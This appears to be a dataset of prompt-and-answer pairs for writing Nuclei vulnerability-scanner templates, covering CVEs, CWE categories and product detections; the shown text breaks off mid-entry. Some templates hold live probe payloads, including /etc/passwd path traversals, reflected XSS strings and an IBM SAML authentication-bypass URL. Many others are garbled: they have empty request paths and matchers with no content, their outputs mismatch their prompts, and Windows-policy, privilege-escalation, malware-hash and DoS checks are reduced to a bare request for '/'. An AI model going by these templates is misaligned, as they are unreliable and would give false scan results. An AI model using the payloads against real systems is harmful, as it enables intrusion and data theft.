Instruction: Generate a Nuclei template for: BSPHP - Information Disclosure

Input:
Title: BSPHP - Information Disclosure
Summary: BSPHP - Information Disclosure. Information disclosure in BSPHP Pro causing user and unauth IP disclosure.
Vulnerability Type: Security Check
Severity: low
Indicators: vulnerability detected

Output:
id: bsphp-info

info:
  name: BSPHP - Information Disclosure
  author: ritikchaddha
  severity: low
  description: Information disclosure in BSPHP Pro causing user and unauth IP disclosure.
  tags: bsphp,info,disclosure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/admin/index.php?m=admin&c=log&a=table_json&json=get&soso_ok=1&t=user_login_log&page=1&limit=10&bsphptime=1600407394176&soso_id=1&soso=&DESC=0"
    matchers:
      - type: word
        words:
          - "{"data":"
          - ""id""
          - ""user""
        part: body
        condition: and
      - type: word
        words:
          - "application/json"
        part: content_type
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Remote System Forced Shutdown Privilege Check

Input:
Title: Remote System Forced Shutdown Privilege Check
Summary: Remote System Forced Shutdown Privilege Check. Ensure the "Force shutdown from a remote system" policy (SeRemoteShutdownPrivilege) is assigned only to the Administrators group (SID: S-1-5-32-544). Granting this privilege to unauthorized accounts can allow attackers to remotely shut down the system, posing a significant risk.

Vulnerability Type: Security Check
Severity: medium
Indicators: vulnerability detected

Output:
id: remote-system-shutdown

info:
  name: Remote System Forced Shutdown Privilege Check
  author: nukunga[SungHyunJeon]
  severity: medium
  description: Ensure the "Force shutdown from a remote system" policy (SeRemoteShutdownPrivilege) is assigned only to the Administrators group (SID: S-1-5-32-544). Granting this privilege to unauthorized accounts can allow attackers to remotely shut down the system, posing a significant risk.
  tags: policy,code,windows-audit,kisa

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2010-1533

Input:
Title: Path Traversal in peter_hocherl com_tweetla
Summary: Directory traversal vulnerability in the TweetLA (com_tweetla) component 1.0.1 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
Vulnerability Type: Path Traversal
Severity: high
Affected Products: peter_hocherl com_tweetla
Indicators: error, vulnerability detected

Output:
id: CVE-2010-1533

info:
  name: Joomla! Component TweetLA 1.0.1 - Local File Inclusion
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in the TweetLA (com_tweetla) component 1.0.1 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  tags: cve2010,cve,joomla,lfi,edb,peter_hocherl,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_tweetla&controller=../../../../../../../etc/passwd%00"
    matchers:
      - type: regex
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: bluelight Malware Hash - Detect

Input:
Title: bluelight Malware Hash - Detect
Summary: bluelight Malware Hash - Detect. North Korean origin malware which uses a custom Google App for C2 communications.
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: bluelight-malware-hash

info:
  name: bluelight Malware Hash - Detect
  author: pussycat0x
  severity: info
  description: North Korean origin malware which uses a custom Google App for C2 communications.
  tags: malware,inkysquid

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Accellion - Detect

Input:
Title: Accellion - Detect
Summary: Accellion - Detect. Dectection of Accellion File Transfer Appliance.

Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: accellion-detect

info:
  name: Accellion - Detect
  author: rxerium
  severity: info
  description: Dectection of Accellion File Transfer Appliance.
  tags: accellion,tech,detect,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/cfadmin/"
    matchers:
      - type: word
        words:
          - "/cfadmin/img/accellion-logo.png"
          - "secured by accellion"
        part: body
        condition: or
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Insufficiently Protected Credentials

Input:
Title: Insufficiently Protected Credentials (CWE-522)
Summary: The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval.
Vulnerability Type: Insufficiently Protected Credentials
Severity: medium
Indicators: unauthorized

Output:
id: phpmyadmin-default-login

info:
  name: phpMyAdmin - Default Login
  author: Natto97,notwhy
  severity: high
  description: phpMyAdmin contains a default login vulnerability. An attacker can obtain access to user accounts and access sensitive information, modify data, and/or execute unauthorized operations.
  tags: default-login,phpmyadmin,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template for: Favicon based AEM Detection

Input:
Title: Favicon based AEM Detection
Summary: Favicon based AEM Detection. Tags: aem, favicon, tech
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: aem-detect

info:
  name: Favicon based AEM Detection
  author: shifacyclewala,hackergautam
  severity: info
  description: Favicon based AEM Detection
  tags: aem,favicon,tech,adobe,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/libs/granite/core/content/login/favicon.ico"
    matchers:
      - type: dsl


Instruction: Generate a Nuclei template for CVE-2020-35986

Input:
Title: Cross-Site Scripting (XSS) in rukovoditel rukovoditel
Summary: A stored cross site scripting (XSS) vulnerability in the 'Users Access Groups' feature of Rukovoditel 2.7.2 allows authenticated attackers to execute arbitrary web scripts or HTML via a crafted payload entered into the 'Name' parameter.
Vulnerability Type: Cross-Site Scripting (XSS)
Severity: medium
Affected Products: rukovoditel rukovoditel
Indicators: error, vulnerability detected

Output:
id: CVE-2020-35986

info:
  name: Rukovoditel <= 2.7.2 - Cross Site Scripting
  author: r3Y3r53
  severity: medium
  description: A stored cross site scripting (XSS) vulnerability in the 'Users Access Groups' feature of Rukovoditel 2.7.2 allows authenticated attackers to execute arbitrary web scripts or HTML via a crafted payload entered into the 'Name' parameter.
  tags: cve,cve2020,rukovoditel,stored-xss,xss,authenticated,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: unauth-xproxy-dashboard

info:
  name: X-Proxy Dashboard Panel - Detect
  author: pussycat0x
  severity: info
  description: X-Proxy Dashboard panel was detected.
  tags: xproxy,panel,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "<title>X-Proxy</title>"
          - "Dashboard</a>"
        part: body
        condition: and
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Slack User token disclosure

Input:
Title: Slack User token disclosure
Summary: Slack User token disclosure. Tags: exposure, token, slack
Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: slack-user-token

info:
  name: Slack User token disclosure
  author: Ice3man,DhiyaneshDK
  severity: high
  description: Slack User token disclosure
  tags: exposure,token,slack,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: regex
        part: body
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template for CVE-2021-34621

Input:
Title: Vulnerability (CWE-269) in properfraction profilepress
Summary: A vulnerability in the user registration component found in the ~/src/Classes/RegistrationAuth.php file of the ProfilePress WordPress plugin made it possible for users to register on sites as an administrator. This issue affects versions 3.0.0 - 3.1.3. .
Vulnerability Type: Vulnerability (CWE-269)
Severity: critical
Affected Products: properfraction profilepress
Indicators: error, vulnerability detected

Output:
id: CVE-2021-34621

info:
  name: WordPress ProfilePress  3.0.0-3.1.3 - Admin User Creation Weakness
  author: 0xsapra
  severity: critical
  description: ProfilePress WordPress plugin  is susceptible to a vulnerability in the user registration component in the ~/src/Classes/RegistrationAuth.php file that makes it possible for users to register on sites as an administrator.
  tags: cve2021,cve,wordpress,wp-plugin,packetstorm,intrusive,properfraction,vkev,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "Welcome to your WordPress Dashboard"
        part: body
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: SARG Security Checks

Input:
Title: SARG Security Checks
Summary: SARG Security Checks. A simple workflow that runs all SARG related nuclei templates on a given target.
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: sarg-workflow

info:
  name: SARG Security Checks
  author: daffainfo
  severity: info
  description: A simple workflow that runs all SARG related nuclei templates on a given target.
  tags: unknown

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: scratch

info:
  name: Scratch User Name Information - Detect
  author: dwisiswant0
  severity: info
  description: Scratch user name information check was conducted.
  tags: osint,osint-coding,scratch,discovery

http:
  - method: GET
    path:
      - "https://scratch.mit.edu/users/{{user}}/"
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "on Scratch</title>"
        part: body


Instruction: Generate a Nuclei template for CVE-2020-4427

Input:
Title: Authentication Bypass in ibm data_risk_manager
Summary: IBM Data Risk Manager 2.0.1, 2.0.2, 2.0.3, 2.0.4, 2.0.5, and 2.0.6 could allow a remote attacker to bypass security restrictions when configured with SAML authentication. By sending a specially crafted HTTP request, an attacker could exploit this vulnerability to bypass the authentication process and gain full administrative access to the system. IBM X-Force ID: 180532.
Vulnerability Type: Authentication Bypass
Severity: critical
Affected Products: ibm data_risk_manager
Indicators: error, vulnerability detected

Output:
id: CVE-2020-4427

info:
  name: IBM Data Risk Manager - Authentication Bypass via SAML
  author: ritikchaddha
  severity: critical
  description: IBM Data Risk Manager versions 2.0.1 through 2.0.6 are vulnerable to authentication bypass when configured with SAML authentication. A remote attacker can bypass security restrictions by sending a specially crafted HTTP request to the SAML idpSelection endpoint, allowing them to bypass the authentication process and gain full administrative access to the system.
  tags: cve,cve2020,ibm,saml,auth-bypass,kev,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/albatross/saml/idpSelection?id={{randstr}}&userName=admin"
    matchers:
      - type: word
        words:
          - "localhost:8765"
          - "saml/idpSelection"
        part: location
        condition: and
      - type: status
        status:
          - 302


Instruction: Generate a Nuclei template for: Nextcloud Exposed Installation

Input:
Title: Nextcloud Exposed Installation
Summary: Nextcloud Exposed Installation. Nextcloud installation is exposed.
Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: nextcloud-install

info:
  name: Nextcloud Exposed Installation
  author: skeltavik
  severity: high
  description: Nextcloud installation is exposed.
  tags: tech,nextcloud,storage,misconfig,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "<fieldset id="adminaccount"><legend>Create an <strong>admin account</strong></legend>"
          - "<legend><a id="showAdvanced" tabindex="0" href="#">Storage &amp; database"
        part: body
        condition: and
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: workspace-one-uem-ssp

info:
  name: VMware Workspace ONE UEM Airwatch Self-Service Portal - Detect
  author: KoratSec
  severity: info
  description: VMware Workspace ONE UEM Airwatch Self-Service Portal (SSP) login panel was detected.
  tags: panel,workspaceone,vmware,airwatch,ssp,login,detect,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/MyDevice/Login"
    matchers:
      - type: word
        words:
          - "Self-Service Portal"
          - "AirWatch"
        part: body
        condition: and


Instruction: Generate a Nuclei template for: ssh-agent - Privilege Escalation

Input:
Title: ssh-agent - Privilege Escalation
Summary: ssh-agent - Privilege Escalation. ssh-agent is a program that helps manage and store private keys used for SSH authentication. It is often used to hold the decrypted private keys in memory, allowing for seamless authentication to remote servers without the need to re-enter passphrases for the keys.

Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: privesc-ssh-agent

info:
  name: ssh-agent - Privilege Escalation
  author: daffainfo
  severity: high
  description: ssh-agent is a program that helps manage and store private keys used for SSH authentication. It is often used to hold the decrypted private keys in memory, allowing for seamless authentication to remote servers without the need to re-enter passphrases for the keys.
  tags: code,linux,ssh-agent,privesc,local

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: iptime-router

info:
  name: ipTIME Router Login Panel - Detect
  author: gy741
  severity: info
  description: ipTIME router login panel was detected.
  tags: panel,login,iptime,router,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/sess-bin/login_session.cgi"
    matchers:
      - type: regex
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Cross-site Scripting

Input:
Title: Cross-site Scripting (CWE-79)
Summary: The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. There are many variants of cross-site scripting, characterized by a variety of terms or involving different attack topologies. However, they all indicate the same fundamental weakness: improper neutralization of dangerous input between the adversary and a victim.
Vulnerability Type: Cross-site Scripting
Severity: high
Indicators: vulnerability detected, error

Output:
id: wp-slideshow-xss

info:
  name: WordPress Slideshow - Cross-Site Scripting
  author: daffainfo
  severity: high
  description: WordPress Slideshow plugin contains multiple cross-site scripting vulnerabilities. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  tags: wordpress,xss,wp-plugin,edb,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "Slideshow"
          - "Stable tag:"
        condition: and
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPlugin/slideshow.php?randomId=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
    matchers:
      - type: word
        words:
          - "</script><script>alert(document.domain)</script>"
        part: body
      - type: word
        words:
          - "text/html"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2017-10271

Input:
Title: Vulnerability (CWE-306) in oracle weblogic_server
Summary: Vulnerability in the Oracle WebLogic Server component of Oracle Fusion Middleware (subcomponent: WLS Security). Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3 to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server. CVSS 3.0 Base Score 7.5 (Availability impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
Vulnerability Type: Vulnerability (CWE-306)
Severity: high
Affected Products: oracle weblogic_server
Indicators: error, vulnerability detected

Output:
id: CVE-2017-10271

info:
  name: Oracle WebLogic Server - Remote Command Execution
  author: dr_set,ImNightmaree,true13
  severity: high
  description: The Oracle WebLogic Server component of Oracle Fusion Middleware (subcomponent - WLS Security) is susceptible to remote command execution. Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0. This easily exploitable vulnerability allows unauthenticated attackers with network access via T3 to compromise Oracle WebLogic Server.
  tags: cve,cve2017,weblogic,oast,kev,vulhub,rce,oracle,vkev,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template for CVE-2020-11798

Input:
Title: Path Traversal in mitel micollab_audio\,_web_\&_video_conferencing
Summary: A Directory Traversal vulnerability in the web conference component of Mitel MiCollab AWV before 8.1.2.4 and 9.x before 9.1.3 could allow an attacker to access arbitrary files from restricted directories of the server via a crafted URL, due to insufficient access validation. A successful exploit could allow an attacker to access sensitive information from the restricted directories.
Vulnerability Type: Path Traversal
Severity: medium
Affected Products: mitel micollab_audio\,_web_\&_video_conferencing
Indicators: error, vulnerability detected

Output:
id: CVE-2020-11798

info:
  name: Mitel MiCollab AWV 8.1.2.4 and 9.1.3 - Directory Traversal
  author: ritikchaddha
  severity: medium
  description: A Directory Traversal vulnerability in the web conference component of Mitel MiCollab AWV before 8.1.2.4 and 9.x before 9.1.3 could allow an attacker to access arbitrary files from restricted directories of the server via a crafted URL, due to insufficient access validation. A successful exploit could allow an attacker to access sensitive information from the restricted directories.
  tags: cve,cve2020,packetstorm,mitel,micollab,lfi,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/awcuser/cgi-bin/vcs_access_file.cgi?file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f/etc/passwd"
    matchers:
      - type: regex
        part: body
      - type: word
        words:
          - "application/x-download"
          - "filename=passwd"
        part: header
        condition: and
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2023-5561

Input:
Title: Unknown Vulnerability in wordpress wordpress
Summary: WordPress does not properly restrict which user fields are searchable via the REST API, allowing unauthenticated attackers to discern the email addresses of users who have published public posts on an affected website via an Oracle style attack
Vulnerability Type: Unknown Vulnerability
Severity: medium
Affected Products: wordpress wordpress
Indicators: error, vulnerability detected

Output:
id: CVE-2023-5561

info:
  name: WordPress Core - Post Author Email Disclosure
  author: nqdung2002
  severity: medium
  description: WordPress Core is vulnerable to Sensitive Information Exposure in versions between 4.7.0 and 6.3.1 via the User REST endpoint. While the search results do not display user email addresses unless the requesting user has the 'list_users' capability, the search is applied to the user_email column.
  tags: cve,cve2023,wpscan,disclosure,wp,wordpress,email,exposure,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
  - method: GET
    path:
      - "{{BaseURL}}/{{route}}search=@"
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: adapt-panel

info:
  name: Adapt Authoring Tool - Panel
  author: Splint3r7
  severity: info
  description: Login panel for adapt was detected.
  tags: panel,adapt,login,detect,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: splash-rendering-service

info:
  name: Splash - Detect
  author: pussycat0x
  severity: info
  description: Splash rendering service was detected.
  tags: tech,splash,detect,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "<title>Splash"
          - "splash.loadExample"
        part: body
        condition: and
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: SAP NetWeaver Composition Environment Tools - Detect

Input:
Title: SAP NetWeaver Composition Environment Tools - Detect
Summary: SAP NetWeaver Composition Environment Tools - Detect. Detects the presence of the SAP NetWeaver Process Integration / Composition Environment Tools page

Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: sap-netweaver-cet-detect

info:
  name: SAP NetWeaver Composition Environment Tools - Detect
  author: ap3r
  severity: info
  description: Detects the presence of the SAP NetWeaver Process Integration / Composition Environment Tools page
  tags: sap,netweaver,cet,detect,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/rep/start/index.jsp"
    matchers:
      - type: word
        words:
          - "Composition Environment Tools"
        part: body
      - type: word
        words:
          - "text/html"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: E-cology FileDownloadForOutDocSQL - SQL Injection

Input:
Title: E-cology FileDownloadForOutDocSQL - SQL Injection
Summary: E-cology FileDownloadForOutDocSQL - SQL Injection. e-cology did not effectively filter the user input, but directly spliced it into the SQL query statement, resulting in SQL injection vulnerabilities in the system

Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: ecology-oa-file-sqli

info:
  name: E-cology FileDownloadForOutDocSQL - SQL Injection
  author: momika233
  severity: high
  description: e-cology did not effectively filter the user input, but directly spliced it into the SQL query statement, resulting in SQL injection vulnerabilities in the system
  tags: time-based-sqli,ecology,ecology-oa,sqli,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template for CVE-2022-1580

Input:
Title: Vulnerability (CWE-639) in freehtmldesigns site_offline
Summary: The Site Offline Or Coming Soon Or Maintenance Mode WordPress plugin before 1.5.3 prevents users from accessing a website but does not do so if the URL contained certain keywords. Adding those keywords to the URL's query string would bypass the plugin's main feature.
Vulnerability Type: Vulnerability (CWE-639)
Severity: medium
Affected Products: freehtmldesigns site_offline
Indicators: error, vulnerability detected

Output:
id: CVE-2022-1580

info:
  name: Site Offline WP Plugin < 1.5.3 - Authorization Bypass
  author: s4e-io
  severity: medium
  description: The plugin prevents users from accessing a website but does not do so if the URL contained certain keywords. Adding those keywords to the URL's query string would bypass the plugin's main feature.
  tags: cve,cve2022,wpscan,site-offline,wordpress,wp-plugin,wp,freehtmldesigns,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/site-offline/readme.txt"
    matchers:
      - type: word
        words:
          - "Site Offline Or Coming Soon Or Maintenance Mode"
  - method: GET
    path:
      - "{{BaseURL}}/?admin"
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template for CVE-2024-11921

Input:
Title: Cross-Site Scripting (XSS) in givewp givewp
Summary: The GiveWP  WordPress plugin before 3.19.0 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.
Vulnerability Type: Cross-Site Scripting (XSS)
Severity: medium
Affected Products: givewp givewp
Indicators: error, vulnerability detected

Output:
id: CVE-2024-11921

info:
  name: Give WP Plugin < 3.19.0 - Cross-Site Scripting
  author: Splint3r7
  severity: high
  description: The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.
  tags: cve,cve2024,wordpress,wp,wp-plugin,give,xss,authenticated,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template for CVE-2022-2130

Input:
Title: Cross-Site Scripting (XSS) in microweber microweber
Summary: Cross-site Scripting (XSS) - Reflected in GitHub repository microweber/microweber prior to 1.2.17.
Vulnerability Type: Cross-Site Scripting (XSS)
Severity: medium
Affected Products: microweber microweber
Indicators: error, vulnerability detected

Output:
id: CVE-2022-2130

info:
  name: Microweber < 1.2.17 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: Cross-site Scripting (XSS) vulnerability in the /demo/editor_tools/module endpoint via the 'type' parameter.
  tags: cve,cve2022,microweber,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/editor_tools/module?type=%22%3E%3Cdiv%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"
    matchers:
      - type: word
        words:
          - "</tag><div><script>alert(document.domain)</script>"
        part: body
      - type: word
        words:
          - "text/html"
        part: content_type
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2006-6565

Input:
Title: Vulnerability (CWE-476) in filezilla-project filezilla_server
Summary: FileZilla Server before 0.9.22 allows remote attackers to cause a denial of service (crash) via a wildcard argument to the (1) LIST or (2) NLST commands, which results in a NULL pointer dereference, a different set of vectors than CVE-2006-6564.  NOTE: CVE analysis suggests that the problem might be due to a malformed PORT command.
Vulnerability Type: Vulnerability (CWE-476)
Severity: medium
Affected Products: filezilla-project filezilla_server
Indicators: error, vulnerability detected

Output:
id: CVE-2006-6565

info:
  name: FileZilla Server < 0.9.22 - DoS via Wildcard Commands
  author: pussycat0x
  severity: medium
  description: FileZilla Server versions prior to 0.9.22 are vulnerable to remote denial of service (crash) when processing wildcard arguments to LIST/NLST commands, malformed PORT commands, or other malformed commands. This leads to NULL pointer dereference that can crash the server.
  tags: cve,cve2006,network,ftp,filezilla,tcp,passive,vuln

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: WP Mail SMTP by WPForms – The Most Popular SMTP and Email Log Plugin Detection

Input:
Title: WP Mail SMTP by WPForms – The Most Popular SMTP and Email Log Plugin Detection
Summary: WP Mail SMTP by WPForms – The Most Popular SMTP and Email Log Plugin Detection
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: wordpress-wp-mail-smtp

info:
  name: WP Mail SMTP by WPForms – The Most Popular SMTP and Email Log Plugin Detection
  author: ricardomaia
  severity: info
  description: WP Mail SMTP by WPForms – The Most Popular SMTP and Email Log Plugin Detection
  tags: tech,wordpress,wp-plugin,top-100,top-200,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/wp-mail-smtp/readme.txt"
    matchers:
      - type: dsl
      - type: regex
        part: body


Instruction: Generate a Nuclei template for: LibrePhotos Panel - Detect

Input:
Title: LibrePhotos Panel - Detect
Summary: LibrePhotos Panel - Detect. Tags: panel, librephotos, detect
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: librephotos-panel

info:
  name: LibrePhotos Panel - Detect
  author: ritikchaddha
  severity: info
  description: LibrePhotos Panel - Detect
  tags: panel,librephotos,detect,login,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/login"
    matchers:
      - type: word
        words:
          - "<title>LibrePhotos"
        part: body
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2020-27615

Input:
Title: SQL Injection in loginizer loginizer
Summary: The Loginizer plugin before 1.6.4 for WordPress allows SQL injection (with resultant XSS), related to loginizer_login_failed and lz_valid_ip.
Vulnerability Type: SQL Injection
Severity: critical
Affected Products: loginizer loginizer
Indicators: failed

Output:
id: CVE-2020-27615

info:
  name: WordPress Loginizer < 1.6.4 – Unauthenticated SQL Injection via `log` Parameter
  author: intelligent-ears
  severity: critical
  description: The Loginizer plugin before 1.6.4 for WordPress allows SQL injection (with resultant XSS), related to loginizer_login_failed and lz_valid_ip.
  tags: wpscan,cve,cve2020,wordpress,wp-plugin,wp,loginizer,sqli,time-based,vkev,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: opcache-status-exposure

info:
  name: OPcache Status Page - Detect
  author: pdteam
  severity: medium
  description: OPcache status page was detected.
  tags: config,exposure,status,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/opcache-status/"
      - "{{BaseURL}}/php-opcache-status/"
      - "{{BaseURL}}/opcache-status/opcache.php"
    matchers:
      - type: word
        words:
          - "opcache_enabled	"
          - "opcache_hit_rate	"
        part: body
        condition: and


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
